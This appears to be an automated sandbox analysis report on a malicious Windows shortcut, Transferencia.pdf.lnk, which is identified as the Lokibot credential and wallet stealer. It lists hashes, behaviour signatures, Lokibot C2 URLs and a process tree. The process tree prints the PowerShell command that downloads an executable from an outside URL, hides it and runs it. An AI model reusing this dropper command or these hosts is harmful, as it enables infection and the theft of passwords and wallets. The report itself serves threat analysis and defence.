Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20241023-en
  • resource tags

    arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
  • submitted
    27-11-2024 10:50

General

  • Target

    Transferencia.pdf.lnk

  • Size

    2KB

  • MD5

    f979b032e2ff9982eb392528641b634c

  • SHA1

    47a8320cfa87be712554d29b9ad7ad83fee04370

  • SHA256

    5dc14e2aeea05c75894a451c65b43ddc7eb8c70c62ec4da968a2aeccdb52450c

  • SHA512

    3891b3b796c8b8ea5d1824a5cce9ec2201bd1ed61d1fbd8d0d561b4da51fab1cd2d865684fe2787ad1385ea529da376f083007059859206282ccbb3cf5ea9825

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://www.sodiumlaurethsulfatedesyroyer.com/tdtyhrxf/dfhsrarytrsagerfwearfwerfwerthdyttyfuiuoifjcghhbg/uhihtrgeytgefghdhjsdxghshnytrghdhfghsgb/sdfgdsh.exe

Extracted

Family

lokibot

C2

http://naturealmikaly.sytes.net:5338/sujfygidj/five/fre.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

  • Lokibot

    Lokibot is a Password and CryptoCoin Wallet Stealer.

  • Lokibot family
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Transferencia.pdf.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2804
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle hIdDEn Hiddden -Command dssec.dat;(new-object System.Net.WebClient).DownloadFile('https://www.sodiumlaurethsulfatedesyroyer.com/tdtyhrxf/dfhsrarytrsagerfwearfwerfwerthdyttyfuiuoifjcghhbg/uhihtrgeytgefghdhjsdxghshnytrghdhfghsgb/sdfgdsh.exe','aisplayca.exe');./'aisplayca.exe';(get-item 'aisplayca.exe').Attributes += 'Hidden';
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2772
      • C:\Users\Admin\AppData\Local\Temp\aisplayca.exe
        "C:\Users\Admin\AppData\Local\Temp\aisplayca.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1720
        • C:\Users\Admin\AppData\Local\Temp\aisplayca.exe
          C:\Users\Admin\AppData\Local\Temp\aisplayca.exe
          4⤵
          • Executes dropped EXE
          PID:2404
        • C:\Users\Admin\AppData\Local\Temp\aisplayca.exe
          C:\Users\Admin\AppData\Local\Temp\aisplayca.exe
          4⤵
          • Executes dropped EXE
          PID:1848
        • C:\Users\Admin\AppData\Local\Temp\aisplayca.exe
          C:\Users\Admin\AppData\Local\Temp\aisplayca.exe
          4⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • outlook_office_path
          • outlook_win_path
          PID:2092

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\aisplayca.exe

    Filesize

    278KB

    MD5

    cdff2a3c6ee375da1457399d2e649eaa

    SHA1

    5ba6fc635a48e49cb58b9ae9e1cae09cba2f0551

    SHA256

    521f0184afe9ea173b1a43e0cda3d5d18ee3380469516a35b2313432c728efc3

    SHA512

    723d00aa3716383ba412e201f355de016e248e29e1f5b5bb1bde6e265cc1d97179e68320fa26b2031acf81a82bdcb6fdbf04a65cefed813d38f8bf41042602f9

  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1163522206-1469769407-485553996-1000\0f5007522459c86e95ffcc62f32308f1_9d81b961-0275-4281-8321-63119951606b

    Filesize

    46B

    MD5

    d898504a722bff1524134c6ab6a5eaa5

    SHA1

    e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

    SHA256

    878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

    SHA512

    26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1163522206-1469769407-485553996-1000\0f5007522459c86e95ffcc62f32308f1_9d81b961-0275-4281-8321-63119951606b

    Filesize

    46B

    MD5

    c07225d4e7d01d31042965f048728a0a

    SHA1

    69d70b340fd9f44c89adb9a2278df84faa9906b7

    SHA256

    8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

    SHA512

    23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

  • memory/1720-56-0x0000000000540000-0x0000000000546000-memory.dmp

    Filesize

    24KB

  • memory/1720-52-0x0000000000FB0000-0x0000000000FFC000-memory.dmp

    Filesize

    304KB

  • memory/1720-55-0x0000000000A70000-0x0000000000AC8000-memory.dmp

    Filesize

    352KB

  • memory/1720-54-0x0000000000520000-0x0000000000526000-memory.dmp

    Filesize

    24KB

  • memory/2404-61-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/2404-58-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/2772-41-0x000007FEF6490000-0x000007FEF6E2D000-memory.dmp

    Filesize

    9.6MB

  • memory/2772-53-0x000007FEF6490000-0x000007FEF6E2D000-memory.dmp

    Filesize

    9.6MB

  • memory/2772-44-0x000007FEF6490000-0x000007FEF6E2D000-memory.dmp

    Filesize

    9.6MB

  • memory/2772-43-0x000007FEF6490000-0x000007FEF6E2D000-memory.dmp

    Filesize

    9.6MB

  • memory/2772-38-0x000007FEF674E000-0x000007FEF674F000-memory.dmp

    Filesize

    4KB

  • memory/2772-42-0x0000000001EE0000-0x0000000001EE8000-memory.dmp

    Filesize

    32KB

  • memory/2772-40-0x000000001B590000-0x000000001B872000-memory.dmp

    Filesize

    2.9MB

  • memory/2772-39-0x000007FEF6490000-0x000007FEF6E2D000-memory.dmp

    Filesize

    9.6MB